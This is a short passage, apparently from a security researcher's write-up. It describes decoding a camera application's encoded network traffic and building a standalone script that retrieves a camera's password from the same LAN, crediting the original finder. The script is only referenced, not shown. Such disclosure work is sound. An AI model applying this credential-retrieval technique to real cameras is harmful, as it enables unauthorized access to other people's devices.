I then confirmed that this routine worked on an "encoded" value that went over the wire from the application to the camera. After confirming the encoding scheme worked, I recreated the network transaction the application does with the camera to create a stand alone script that will retrieve the password from a camera that is on the same lan as the "attacker". The script can be found here, thanks to Jason Doyle for the original finding (@jasond0yle ).

Related links